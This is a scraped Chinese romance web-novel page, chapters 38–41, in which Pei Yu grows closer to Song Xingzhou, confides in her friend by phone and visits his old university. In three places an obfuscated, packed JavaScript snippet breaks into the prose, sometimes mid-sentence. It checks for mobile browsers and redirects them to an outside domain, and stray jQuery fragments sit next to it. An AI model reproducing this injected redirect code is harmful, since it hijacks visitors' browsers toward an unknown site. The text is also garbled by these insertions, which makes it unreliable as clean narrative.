楼道重新有了光亮,脚步声落在楼板上,也没有刚刚那么沉重了。但她心里的某个角落,却悄无声息地变得更乱了。 她忽然有点怕再多说话。 怕问出她根本不想听的答案。 38. 我也没想好该让你怎么想 四楼到五楼的距离,说远不远,说近不近。走在一起,又总觉得比平时要更安静一些。 裴雨没说话。 她原本打算自己上去的,可宋行舟一句“我送你”没有留任何余地的语气,反倒让她反应不过来。 他走在前头,手里拎着那个装满工具的小箱子,背影被楼道新换的灯泡拉得很长,投在墙上,显得特别沉稳又安静。裴雨站在他背后,走得慢了一些,不知道是不是因为下班太晚,又经历了楼道这突如其来的“惊吓”,现在整个人反而一点都不困了。 她看着他背影,心里隐隐泛起一些念头,那些念头又杂又碎,像是压抑了一整天的情绪找了个出口,开始泛滥成河。 等上到五楼,她脚步停在自己门口,犹豫了下,还是掏出钥匙开了门。 咔哒一声门锁转动,她伸手推开门,房间里一片漆黑——早上匆匆出门,没拉开窗帘也没开灯。她站在门口,灯光从走廊洒进来,一点点打亮了玄关处灰蓝色的墙壁,和她放在鞋柜上的几个钥匙扣。 门开了,宋行舟没进屋,只是在她身后站了两秒,点点头:“到家了。那我走了。” 他话说得干脆,语气也是一贯的平静,没有半点迟疑,也没有等她回应的意思,说完就要转身。 可是他才刚转过身,身后的裴雨突然开口了。 “宋行舟。” 他的肩膀顿了顿,没回头。 她咬了咬唇,声音里带着一点压抑的倔强:“你不是说不可以想多吗?” 他没有回应。 她眼睛有些发涩,也许是楼道里白炽灯太亮,也许是整个人真的太累了。 “那你送我回家算什么?”她问,“你修楼道灯也就算了,你拎着工具箱,一路送我到五楼,在我开门前才打算走,算什么?” 她的声音不高,却像极了夜里一枚失去控制的按钮。 “你说我想多。”她低着头,轻声说,“可你做的这些事里,哪一件,是不该让我想多的?” 走廊一瞬间沉静得像是失去了空气。 宋行舟没有立刻回答她。 他缓缓地转过身,看着她站在门口,背后是暗着的屋子,光线从他身后落在她肩膀上,让她整个人都像被框在一个昏黄的边界里。 他眉眼还是那样冷静,只是眼底藏了一点藏不住的复杂。他没有叹气,也没有生气,只是低头把手里的工具箱换了只手,沉默了一会儿,才慢慢开口。 “我修灯,是因为灯坏了。” “我送你,是因为你刚才差点摔下楼梯。” “我说不想让你多想,是因为——”他顿了顿,轻声补了一句,“我也没想好该让你怎么想。” 这句话说得克制极了,连情绪的边都没沾上,可偏偏就像是石子扔进水面,激起无数圈看不见的涟漪。 裴雨怔住了。 她本以为他要说什么敷衍的场面话,诸如“举手之劳”或者“谁遇到都会帮”,可他没有。他承认了,他没有想好怎么让她去“想”,也就是说,他并不是毫无所图。 她心头微微一震,一时之间不知该高兴还是更乱。 “那你现在想好了吗?”她试探地问,声音几不可闻。 宋行舟没说话。 片刻后,他只是摇了摇头。 “没有。” 裴雨觉得有点难受,像是期待了半天的谜底被撕碎,什么也没得到。 但下一秒,宋行舟又接了一句:“但我在想。” 这话一说完,两人之间原本沉默的气氛像是骤然间解冻了几分。 裴雨低下头,指尖在门边下意识地摩挲着,不知道自己是不是应该再问下去,可情绪已经涌到了嗓子眼,不说就像憋着一口气没吐出去。 “那你以前……”她深吸口气,“那天晚上,你留在我家那晚,你是不是也……在想?” 宋行舟垂着眼眸没应声。 楼道里只有墙壁上传来灯泡轻轻震动的嗡鸣声,还有他掌心里工具箱金属部件偶尔碰撞的哒哒声。 他站在原地,忽然像是没再选择用话回答,而是慢慢地放下手里的工具箱。 接着,他朝她走近了一步。 不远不近,刚刚好。 “我那天没走,”他开口,声音低哑而慢,“是因为你拉住我。” “我留下,是因为你不想一个人。” “裴雨,我一直都知道你没准备好。” 他轻声说着,眼神却没有躲避她的任何反应。 “可我也不确定,我是不是……能等到你准备好。” 他说得很克制,克制到近乎残忍。 裴雨屏住了呼吸。 她不是没听出他话里的分寸——他并没有逼她,也没把自己放在更重要的位置上,只是把所有的来龙去脉都说了出来。包括他来修灯,也包括他送她回家,以及——他愿意留下那一晚的原因。 她没有再追问。 她忽然觉得,有些问题,其实他已经回答得够清楚了。 只是这个答案,她自己,可能暂时还不能面对。 门口的风有些凉,楼道的光投在她睫毛上,摇摇晃晃,像是眼泪快要掉下来却又被她用力咽了回去。 她轻轻“嗯”了一声,声音微不可闻。 “我知道了。” 宋行舟点点头,没有再多说,拾起工具箱,像一开始那样,头也不回地往楼梯口走去。 她站在门口,直到他的身影彻底消失在五楼转角处,直到他脚步声也不再传来。 门还开着,风还在吹进来。 她站了许久,才轻轻地把门关上。 屋里没有开灯。 可她忽然不再觉得那么黑了。 屋子里很安静,窗帘紧紧拉着,城市的光都被隔在外面。裴雨坐在沙发上,脚边还留着刚刚换下的鞋,门关上已经快十分钟了,可她却像还没完全从门口的那场对话里脱离出来。 她低头,看着手机屏幕上还亮着的时间:22:47。 这个点,不早了。可她现在不想睡,也睡不着。 屋子里太静了。 静得连墙上的挂钟滴答声都像被放大了一样。 她盯着通讯录里那个名字“刘盼盼”看了一会儿,指尖迟疑了半天,还是按了下去。 电话响了两声,那头就接起来了。 “喂?宝贝?你怎么还没睡?”刘盼盼的声音带着一点起夜被吵醒的沙哑,但语气还是带着熟悉的关切,“是遇到什么事了吗?” 裴雨靠在沙发上,缓缓开口:“盼盼,我问你个问题。” “嗯?”那边顿了一下,“你说。” 她盯着天花板,声音很轻:“你觉得我,是不是其实还没准备好?” 刘盼盼那头沉默了一会儿,语气却没有变:“怎么突然问这个?” “我也不知道,”裴雨低声说,“就是……好像突然间什么都变得不确定了。之前还觉得自己清楚得很,觉得我就是在理智地和他保持距离,也觉得我能处理好这些关系。可今天一到家门口,我问他‘你为什么还要送我’,他却没有回避,反而很坦白地告诉我他在‘想’,可他也没强迫我,也没有进一步靠近我……” 她说着,声音忽然有些涩:“可我却不知道自己想要什么。” 电话那头静了一下,刘盼盼没急着回应,好像在等她把话说完。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853468|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “盼盼,”她轻轻问,“是不是我太着急了?我是不是根本就没准备好进入下一段关系?” 刘盼盼像是叹了口气:“你是想知道你有没有准备好,还是你想知道宋行舟是不是‘值得’你准备好?” 这一句话,把她的问题剥开了一层皮,露出里面最软、最真实的部分。 裴雨愣住了。 她嘴唇动了动,一时说不出话来。 “宝贝,我不想替你决定什么,也不会告诉你你‘应该’怎么做。”刘盼盼语气依旧温柔,却带着某种坚定的清晰,“但我觉得——你其实不是没准备好。你只是怕你这次看错人。” 裴雨喉咙一紧。 “你不是没准备好去喜欢一个人,不是没准备好去进入下一段关系,你只是还在害怕——怕再一次走进一段你无法控制的、不可预料的情感里,怕自己会陷进去之后又被伤得体无完肤。” 刘盼盼的话一字一句地击中她。 “你这么问,其实你心里已经有答案了,不是吗?” 裴雨忽然眼眶有些热。 她靠着沙发,声音低低的:“我不是怕他……我是怕我自己。” “嗯。”刘盼盼轻声说,“你不是怕他送你回家,你是怕你开始期待他送你每一次回家。” 裴雨闭上眼,泪水在眼角积聚,却倔强地不肯落下。 “你知道吗?”刘盼盼笑了下,“你刚才说宋行舟什么都没说清楚,可他其实已经说得很清楚了。他没让你想多,是怕你误会他轻浮。但他又没立刻划清界限,是因为他真的在等你慢慢想明白。你知道我听完你描述之后最意外的是什么?” “什么?” “是他居然还修灯。”刘盼盼声音里带点调侃,“裴雨,你见过哪个轻浮撩人的男人会搬个梯子修你家楼道灯泡的?” 裴雨没忍住,笑了一下。 “盼盼……” “你不需要一下子就做出选择,也不用因为害怕而逃避。”刘盼盼声音轻下来,“你是有权利慢慢来的。可你也要知道,‘准备好’这个事,从来不是哪天清晨你一睁眼就会心里有了雷打不动的答案。它也许就是在无数次动摇和不安之后,才会被慢慢捂热的东西。” 裴雨点了点头,虽然刘盼盼看不见,但她还是像孩子一样小声应着:“嗯。” “你问我你有没有准备好——”刘盼盼想了想,“我觉得你已经准备得比你以为的要好了。你不是不知道自己的感情,你是太清醒了,清醒得让自己处处都不敢多跨一步。” “但你也别太责怪自己。”她温柔地说,“不着急,慢慢来。宋行舟又不是跑得飞快的兔子,你要是真的走得慢一点,他大概率也会放慢脚步陪你。” “……他是兔子么?”裴雨忽然轻声笑出声。 “不是兔子是大狗啊。”刘盼盼也笑,“你想啊,谁能一边修灯泡一边送你回家,又能窝你家沙发上一晚上不吵不闹的?除了忠犬我想不出别的形容。” 裴雨心里忽然有点软,也有点酸涩。 她没再说话,只是听着那头刘盼盼低低的笑,仿佛一时间回到了以前在学校里,两个人夜深说悄悄话的时光。 “你别想太多。”刘盼盼语气温柔又坚定,“你只要记得——你不是一个人。你可以犹豫、可以逃避、可以迟疑。可如果有一天你真的想放下那些顾虑去靠近一个人了,那个人最好是值得的。” “……那你觉得他值得吗?”裴雨低声问。 电话那头安静了一秒,然后刘盼盼轻轻地说:“我不知道他值不值得你去爱,但他至少是那个肯在夜里修灯泡、送你回家、也不逼你多想的人。” “这样的人——很难得。” 39. 要去我学校看看么 周三这天,阳光很好。裴雨一整天都在忙,几乎没怎么碰手机。 部门例会一开就是两个小时,紧接着便是客户的提案准备,一整块时间被死死塞满,等她终于从会议室出来,脑子已经涨得像塞了棉花。 她回到工位,电脑还在运行,屏幕上是一份被半途搁置的策划稿。她摘下耳麦,头一歪靠着椅背闭了闭眼,才发现兜里的手机震动声已经过了好一会儿。 她拿出来一看,屏幕上是宋行舟的微信消息。 【宋行舟】:周末要去我学校看看么? 简简单单的一句话,后面还配了个校园门口的大门照片,拍得歪歪扭扭的,像是边走边拍的。那个门她认得,魔都东南方向那所本科院校,校园不大,却绿树成荫,离市区有段距离,地铁要转两次,最后还得坐公交。 她盯着那张照片看了几秒。 照片里阳光斜斜的,照在门口的老梧桐树上,光影斑驳。她的脑海里莫名浮现出宋行舟穿着蓝灰色工装、戴着安全帽在电厂厂区里行走的样子,又忽地与这样温和明亮的校园重合了。 他们之间,从没有聊过他大学的事。 他的履历很少提及。他不说,她也没问。 可现在这张照片,像是他忽然伸出一只手,把过去那段她未曾触及的岁月小心地递给她。 手机屏幕还亮着,她手指悬在输入框上,却迟迟没有打字。 她不知道该怎么回。 要说“好啊”?还是“为啥突然想去学校”?或者是“你自己要去看就去啊干嘛带我?” 她心里突然就生出一种难以言说的慌乱。像是走在很平整的地面上,突然脚下裂出一道缝。 她有点怕。 怕这趟去学校的邀约不只是散步、叙旧那么简单。 她没立刻回消息,把手机放回桌上。可余光却还是一遍又一遍扫过屏幕,像是等着它再震动一次。 可那之后,宋行舟没有再发新消息。 晚上九点,裴雨下班回家,给自己煮了一碗挂面。灯光打在厨房瓷砖上,亮得冷清。 她坐在小桌边,桌上还放着打开的手机,屏幕暗着,一动不动。 她终于还是点开了微信,把那条消息重新看了一遍,又看了一遍。 【宋行舟】:周末要去我学校看看么? 她的手指停顿了一下,像是经过一场无声拉扯,才缓缓打下一行字: 【裴雨】:你怎么突然想到要回学校? 对面过了一会儿才回。 【宋行舟】:学校发通知,周六是校庆日邀请校友返校,正好我老同学说组织返校聚一下。 【宋行舟】:有点久没回去了,想去看看。顺便……也想带你一起看看。 那句话打得轻描淡写,但在她这头屏幕前看着,却好像带着一点被藏得很深的期许。 “顺便”,是他故意放得轻,怕她有压力。 “带你一起看看”,却已经是他第一次开口,把她放进他的“过去”里。 裴雨不知道该怎么回应。 她忽然想起那晚他蹲在她门口说的那句——“你以为底层工人就不能有自己的生活?” 现在她才发现,她从没真的去了解过他曾经的生活。 她想了很久,最后只打了一句: 【裴雨】:那我考虑一下。 他没有催,只是回了一句“好”。 没有多问,也没有继续劝。 这种不过度的克制和尊重,反而让她更难拒绝。 这天夜里,裴雨翻来覆去睡不着。 她脑子里一直在想:如果她答应了周末去学校,那意味着什么? 只是一次聚会?一次普通的散步?还是宋行舟想让她知道,他不是她以为的那个只会修灯、穿工装、靠死工资活着的男人? 她开始试着想象:那所校园的食堂、他曾经上过的教室、图书馆的木质楼梯……还有,那时候的宋行舟,穿着简单的T恤牛仔裤,背着书包在阳光下走过长廊的样子。 这些画面,陌生,却又莫名有点动人。 她突然就有点好奇。 好奇那个在电厂里辛苦工作的男人,是不是也有过一段阳光灿烂、骑车飞驰的青春岁月。 而她——是不是可以靠近那一段,靠近他更完整的一面? 她盯着天花板看了许久,最后终于轻轻闭上眼。 这个问题,她想,或许得等到周六,才有答案。 周六一早,裴雨就醒了。 她其实没怎么睡好,凌晨三点醒过一次,天刚蒙蒙亮的时候又醒了一次。外头天光亮起来的时候,她索性不再挣扎,翻身坐起来,披上外套去洗漱。 她自己都不想承认,但从昨晚开始,她就隐隐有些紧张。 不是因为今天要去哪儿,而是因为陪她一起去的人,是宋行舟。 七点五十分,她拉开窗帘,楼下已经有车停在了小区门口。 那不是他平时骑的小电驴,而是一辆颜色低调的黑色轿车,上次他开的那辆。窗玻璃透着浅浅的反光,看不清车里的人脸。她眯着眼瞧了一会儿,直到看到车门被推开,一个熟悉的高大身影倚在车门旁靠着,低头看手机。 宋行舟今天穿得很简单,白T加一件深灰色的薄外套,牛仔裤,球鞋,和平时在厂里穿的工装判若两人。他整个人被早晨的阳光轻轻包围着,看起来有些安静,却不失那种令人莫名安心的踏实感。 手机“叮”了一声,正好是他发来的微信。 【宋行舟】:我到了,不急。 裴雨忍不住笑了一下,回了句【好】,拿起包走出门。 楼道的灯已经修好了,她一路下楼,走得轻快。 下到一楼,她看到宋行舟正低头调着车上的导航,她走到近前,他这才察觉到动静,抬头看了她一眼。 “早。”他声音低低的,很温和。 “早。”她点头,拢了拢头发,“你来的挺早的。” “我怕堵车。”他笑了笑,“魔都这鬼天气,一会儿下雨一会儿放晴的,早出门省点心。” “你不是电动车上班的嘛,怎么突然开车?”她眼睛扫了眼他车窗,轻声问道。 “电动车适合上下班,不适合长途。”他淡淡道,“我又不是没驾照。” “车看着还挺好。”她挑眉,语气里带着一丝揶揄。 宋行舟没接她的调侃,只是侧身替她拉开副驾驶的门:“上车吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864129|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她愣了愣,随即钻进车里,门关上的一瞬,车内安静下来,只剩下空调缓缓吹出的暖风声。 车刚发动,他忽然像是想起什么似的开口:“我先跟你打个预防针。” “嗯?” “我本科学校算不上太好。”他握着方向盘的手指轻轻敲了下,“在魔都本地算个二本,录本地分数线,外地才按照一本招生政策。就是政策优待嘛。” “这也算优待?”裴雨偏头看他一眼。 “你不觉得?”他有些好笑,“魔都这么大,竞争又激烈,成绩不好的本地人上本地一本的几率其实不高。这个学校虽然不出名,但本地二本线招,起码让家门口的孩子有个读大学的机会。放在别的省,说不定就上不了。” “那你是魔都人?” “是。我就是成绩不算好靠着政策优待考进去的。”他语气平淡,“虽然学校不出名,但原来是电力部直属,工作很好找。” “所以你算是被这个政策照顾的‘本地人’?”裴雨挑眉。 “对。”他淡淡笑了笑,“有时候政策说到底,其实就是决定你能不能上学。” “听你说得自己挺惨的。” “我也没多惨。”他转过头看她一眼,语气很轻,“至少我那会儿,是真喜欢那个学校的。绿多,房子旧但有味道。冬天暖气没你们西北厉害,冷得刺骨,但春天一来,那些香樟一开,整个校园都香。” “听起来……还挺有画面感的。” “嗯。”他点点头,眉眼柔了些,“我在那儿待了四年,什么都干过。给校刊写稿,晚上兼职在附近跑外卖,周末在图书馆门口摆摊卖旧书……生活过得挺充实。” 他没用“困难”这类词,轻描淡写地带过了过去,但裴雨听得出来,他不避讳谈论那段时光,却也没有想要博得同情的意味。 她心里有种微妙的触动,像是以前一直看不清楚的一个人影,终于在阳光下变得清晰了起来。 “那你今天去学校……是因为同学聚会?” “也不算聚。”他想了想,“几个关系还算可以的老同学约着一起回去看看。前阵子听说学校要搬一部分学院出去,老教学楼可能要拆了。” “所以……你想去看看?” “对。”他轻轻应了一声,随即转头看她,“你要是不想去也没关系,我可以先送你去别的地方。” “我没说不去。”裴雨靠在座椅里,手搭在腿上,“我只是想知道你今天到底怎么突然想到约我。” “我?”他低笑了声,“我也说不清楚,大概就是……想带你看看吧。” 她没有说话,只是转头看了他一眼。 车外的阳光慢慢洒进来,打在他的侧脸上,柔和却坚定。 她忽然意识到,过去他们之间,总像隔着什么。 她以为他只是个普通的电厂工人,他也从不解释。 她以为他家境一般,没有什么背景,他也不否认。 可现在,他正一点点把自己剥开,毫无防备地展示在她面前。 不是炫耀,也不是证明,只是单纯地,想让她知道。 车一路往东南方向行驶,阳光透过车窗打在他们身上,一切都慢慢变得温暖起来。 40. 松弛感 宋行舟的学校不算太大,校园是那种典型的老式本科学校。 不像新建的大学城那样四四方方、样板化,每一栋教学楼都有自己鲜明的风格和历史感。砖红的外墙,斑驳的爬山虎,地面被雨水冲刷过的痕迹还在,一切都显得陈旧而干净。 宋行舟的车没停进校园,而是早早地停在了南门外的路边,他说怕校门那边查得紧。两人步行进去,一路顺着他记忆中的方向穿过主干道,走过食堂、图书馆、旧的物理楼——很多地方已经翻新了,但也有不少维持着从前的模样。 他走得不快,像是每一步都在回忆。 裴雨走在他身侧,一开始只是看热闹,后来却莫名地被他那种不动声色的怀旧感染了。 “这地方,变化大吗?”她问。 “有些地方变了。”他顿了顿,伸手指着远处那栋楼,“以前那栋楼没那么高,后来扩建了,还加了个咖啡厅上去。” “学校里有咖啡厅?”裴雨有点诧异。 “现在的大学哪还有不追潮流的。”他笑了笑,“我们那时候哪儿有这些东西,冬天能喝到一杯热豆浆就已经算幸福了。” 裴雨没接话,只是默默看着他。 他们走到了旧图书馆前的一条小路上,两旁的香樟树密密匝匝的,一眼望不到尽头。阳光从树叶的缝隙间洒下来,在地面投下一格一格的斑驳光影。 “我那时候晚上经常从这儿走回宿舍。”他说,“夜里十一点,图书馆赶人,我们就一大群人从这条道走回来。说是讨论论文,其实大多时候都是在吐槽生活。” “听着还挺青春的。”裴雨低声道。 “你大学时候不这样?” 他回头看她一眼,目光带着点笑意。 “我啊……”裴雨有些犹豫。 她其实不太喜欢讲自己的过去——不是因为不好,而是因为她一直觉得,谈这些就像是在无形中划界限,好像她一旦说了,别人就会开始默默替她贴上“起点高”“优越感”的标签。 但此刻,宋行舟的眼神太干净,太坦诚了,让她忽然不想那么藏着掖着了。 “我一直学习挺好的。”她缓缓开口,语气轻飘飘的,像是不经意,“考上了985的国际商贸专业。” “哦?” 宋行舟挑了下眉,像是没想到她会说得这么直白。 “大学就在魔都,交通也方便。”她又补了一句,“反正一路就是……顺利吧。” 她没说自己是从重点初中、重点高中一路上来的,也没说当年分数排进全省前百,也没说她读书时有多拼。 但这些话,在她平静地说出“985”“国际商贸”几个字时,其实就已经都说尽了。 宋行舟看着她,忽然“嗯”了一声,点点头:“挺厉害的。” “你就‘挺厉害’三个字啊?”她偏头看他,语气半真半假地嫌弃。 “那我还得说什么?”他慢悠悠地笑了笑,“你长得漂亮,脑子又聪明,学历又高,我要夸你,也得斟酌点词,不然显得我没文化。” “你文化不低啊。”她语气里透出点小小的得意。 “我也就是个本地二本工科出来的。”他耸耸肩,“能混到现在,靠的是皮实。” “你还挺会用词。”她轻哼了一声,心情莫名地好起来。 两人继续往前走,慢慢靠近了教学区深处。 宋行舟指着一栋斑驳的楼道:“那是我当年上课最多的一栋楼。三楼那个大教室,冬天没有暖气,我每次都冻得像狗。后来实在不行了,我买了那种五块钱一个的暖宝宝,每次上课之前贴一贴。” “听你说得那么惨……你不是说你家条件还行吗?” 她这句话是玩笑,也是探口风。 宋行舟笑了一声,侧过头看她一眼:“我没说我家穷。但是魔都冬天的温度又不是有钱就能挡住的。” 她被这句话怔了一下。 “而且有时候你太出挑,反而不好。”他慢慢地说,“就像你这样的,别人一听你是985的,长得又好看,就会觉得你命好、条件好,什么都不缺。” “我也没多缺。”裴雨如实道。 “我知道。”他点点头,“但我也知道,有时候人都爱给别人贴标签。我不想别人给我贴,也不想替别人贴。” 裴雨沉默了一会儿,然后轻轻点头。 “所以你问我是哪个学校的……不是在比谁高谁低?” “我要是那么肤浅,”他挑挑眉,“你觉得我还能在台风天和你一起不打伞跑到地铁站?” “你那天真是跟我乱来。”她低声道,嘴角却忍不住往上翘了一下。 “要是那天没和你走,我们可能连现在这关系都没有。”他说得云淡风轻,但眼里却藏着点光。 他们绕着校园几乎走了一圈。 最后绕回图书馆前的小路时,已经中午了。阳光晒在地上,带着一点微微的热意。 宋行舟看着前方,忽然停下脚步,转头看她:“中午想吃什么?” “你推荐。” “学校里有家酸菜鱼不错,但我怕你觉得太接地气。” “我又不是城堡里长大的。”她白了他一眼。 “行,那就酸菜鱼。”他笑,“要不再加个冒菜?” “你别得寸进尺啊。” 他笑着举手投降:“好,好,那就酸菜鱼。走吧。” 阳光下,他的笑容明亮而温和。 裴雨心里忽然生出一点奇怪的情绪来。 她从前以为,喜欢一个人,是那种猛烈的、压倒性的心动。而现在,她却在一点一滴的相处里,慢慢感受到,一种细水长流的温柔。 比起烈火燎原的炽热,这样的情绪,更像春天里细雨打落香樟树叶的声音,轻,却扎根得很深。 去食堂的路上,他们刚拐过教学楼后的小坡,前面突然传来一阵起哄声。 “哎哟,这不是我们宋大电工嘛?” “这谁啊?今儿怎么带人来遛弯了?” 裴雨一愣,下意识往声音传来的方向看去,就见几个男生正从另一条小路上走过来,有人一边挥手一边加快了脚步。 宋行舟笑着停下脚步,“你们几个怎么也来学校?” “哥几个周末约饭呢,路过,先找个地方聚一下。”说话的是个戴棒球帽的男生,边说边走到近前,目光一转,就落在裴雨身上,“介绍介绍?” “朋友。”宋行舟简洁道,也没多说什么。 “哦——”几个人拉长了声音,眼神却不约而同地在两人之间打了个转。 裴雨虽然有点不自在,但面上还是很得体地笑了笑,轻声说了句:“你好。” “哎哟,讲话还有点小腔调。”棒球帽的男生一挑眉,忽然回头对另一个人说了一句:“侬看,我讲对了伐?一听就晓得不是本地人。” 那人哈哈一笑:“侬今朝灵光咯。” 裴雨听得云里雾里,眼神转向宋行舟,带着点求助。 宋行舟轻咳一声,低声解释:“他们就这样,习惯了几句本地话夹着说。” “我听出来了。”她点点头,“有点像……在另一个世界。” “欢迎你访问魔都方言平行宇宙。” 他话音刚落,又有一个穿着T恤的男生开口打趣:“宋行舟,你倒是越来越有点样子了,以前我们讲你木,看看现在会逗女孩子了。” “我本来就挺会。”宋行舟不动声色地应着。 “那你藏得深。” “你们几个去哪儿?” “食堂啊,不然呢?几个老哥想尝尝以前食堂还有没有当年味儿。走一起?” 说着,他们几个人便自然地围过来,和宋行舟一边搭肩打闹,一边往食堂方向走去。 裴雨站在一旁,不知怎么就被人流裹着往前走了。 她有点恍惚。 不是因为这些人多热情,也不是因为那些夹杂着的方言,而是这群人身上有种非常明显的松弛感——那是一种“我本来就属于这里”的状态,是骨子里对城市和生活都不设防的从容。 比如他们说起工作,都是“换了几家”“凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867950|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合做着”,好像没有谁特别焦虑。 再比如他们互相打趣的时候没有一点边界感,好像什么都能笑,什么都能讲,但奇怪的是没人会真的介意。 其中有一个男生讲起自己在体制内单位被分配去临时做了个活动策划,忍不住抱怨:“侬讲讲,叫我一个人扛十几台易拉宝,图书馆门口风又大……人走过去像陀螺,转咯一圈又一圈。” “结果呢?” “易拉宝飞了三台!砸到主任的车。” 几人顿时大笑,其中一个拍拍他背:“你这个体制内的前途,今天算是埋好了。” 裴雨站在他们身边,忽然感觉自己像是一位来访的外宾。 她从小到大接触到的人,大多循规蹈矩,从学业到工作,一环扣一环地拼命向前冲。就算念了魔都的985高校,身边也还是全是“外地人”——和她一样,从别的地方考进来的,拼搏出来的,一身的紧绷和防备。 可这些人不一样。 他们说“将就做着”不是自嘲,而是真实地“将就着”,他们不想卷,不内耗,也不焦虑自己三十岁是不是买了房、升了职。 这种对生活的态度,陌生得让裴雨一时不知道该怎么和他们相处。 但她又清楚地感觉到,宋行舟就是这样的人,和他的那群朋友一样。 他不是不努力,他只是对自己有一种笃定——那种“我本就属于这里”的底气,让他在任何环境中都不急不躁。他不是把生活当作战场的人,而是当成河流,随它缓缓流淌。 食堂里人不多,周末校内没课,楼里静悄悄的。他们找了个靠窗的大圆桌坐下,点了几份简单的饭菜。 裴雨本来不饿,但看到桌上热腾腾的酸菜鱼、土豆丝、红烧狮子头时,胃口又慢慢被吊起来。 宋行舟给她盛了一碗饭,还小声问:“不习惯这些人?” 她摇摇头,“有点羡慕。” “羡慕?” “他们的……松弛感。” 宋行舟笑了下,“那是因为你还没看他们小时候怎么被逼学奥数。” 裴雨失笑:“你也学过?” “那当然。”他说,“我小学在徐汇区上的,谁不补奥数?一周五天,三天补课,两天题海。” “那后来你怎么变成现在这样的?” “你意思是?” “看起来很稳。” “稳?”他重复了一遍,嘴角微微弯起,“你喜欢稳的?” 她眼神不自然地移开,轻声说:“我喜欢不焦虑的。” 他笑了笑没说话。 那群朋友吃饭也没闲着,边吃边聊,气氛热烈。有人看着裴雨,忽然问:“你不是我们学校的吧?” “不是。”她如实道。 “听你说话口音就不太像。”那人点点头,“魔都哪个学校毕业的?” “F大。” “哎哟,厉害咯。”旁边一个人打趣,“我们这群人估计再念三年都出不了一个考进F大的。” 裴雨礼貌地笑了笑。 “你们……怎么认识的?”另一个人凑趣。 “缘分。”宋行舟没让她开口,接过话,“那天我倒班倒的脑袋直晕,给她撞了。” “哟——美救英雄啊。” 宋行舟没接这句话,只是不动声色地夹了块鱼肉到她碗里。 “吃吧。” 她低头,一口咬下,酸辣刚好,味道比她想象中要好许多。 这一顿饭,裴雨吃得慢,也吃得沉默。她不擅长在这种老友聚会的场合里插话,只是静静观察,安静听着。 可她却发现,在这些说笑和打趣里,宋行舟不是那个最出风头的,也不是最沉默的。他像是轴心,总有人围着他说话,但他却总能把那些对话轻巧地引到别人身上,自己始终保持着一种游刃有余的分寸感。 那种分寸感,是她很陌生的。 是只有对自己和这个世界都足够熟悉的人,才会拥有的。 她慢慢地意识到——她喜欢他,可能就是从这种松弛感里,悄悄开始的。 41. 我羡慕你,甚至嫉妒你 食堂的灯光是那种柔黄的,不明不暗,窗外是灰蓝的天色,透着春季周末特有的慵懒气息。 饭吃到一半,话题自然就从工作跳到了房子。 “哎,我上回回家,老头子还跟我讲,要不要把康桥那套换了,置换下,搬回来住算了。” “你们家不是早有浦西的房了?你老还惦记康桥那边干嘛?” “租出去啊,一个月收租金,坐着数钱,多好。” “说得轻松,我妈前两天还让我找个正经工作,说租金不稳定。” “她是没看到行情,现在魔都租金贵得离谱,租不掉才怪。” 裴雨低头扒饭,听着他们的谈话,手里的筷子顿了顿。 她其实早该反应过来——他们身上那种毫无焦虑的松弛感,不可能单靠性格养成。是环境,是资源,是一种“底子里从来没缺过”的安全感。 她本来以为那只是一种态度,现在才发现,那种态度背后,有实打实的支撑。 再多听几句,她已经听出门道了。 这群人大多数是魔都本地人,不仅在这座城市扎了根,甚至是几代人生活的土壤。他们口中的“康桥”“古北”“五角场”“黄浦江边”,不是旅游地标,而是“家里几套房”里的其中几处坐标。 他们有的从小念国际学校,有的高考也只是“随便上了个学校”——不是因为不想好好学,而是没那个必要。 “反正不靠学历吃饭”,这句话她大学时候也听过,只是从没在谁身上真正见过这种理直气壮的贯彻。 但在这些人身上,她看到了。 她不是没见识过有钱人,但她此刻却隐约生出一种被剥离开的“外地人”自觉。 她想起自己十七岁那年第一次来魔都参加夏令营,那时正是七月,外滩热得像蒸笼,她拖着行李箱坐在酒店前台一角,靠自己从兰州带来的面包充饥,一边看着那些说着流利英语、穿着凉鞋短裤的魔都小孩和家长,一边忍着晕车后还没退下的恶心。 她记得那些人眼神里没有恶意,但也没有注意到她的存在。 就像现在。 他们的谈话很自然,谈的是谁最近换了房贷、哪家商圈楼下开了新餐厅、最近打算去欧洲玩多久。而在他们眼里,宋行舟,是他们中的一员。 是他们之一——他们之一早该回家继承几套房了,虽然毕业后去电厂上夜班,但也是不用为生活发愁的存在。 他们关系好,一起打球、一起吃饭、一起叫外卖。 裴雨很难形容那种感觉。 宋行舟是他们圈子里,那个大家都喜欢、愿意一起玩的人。是会真的把他看作和他们“同类”的人。他不再是“宋行舟”,而是“魔都人”,是“本地人”,是他们合得来的一个朋友。 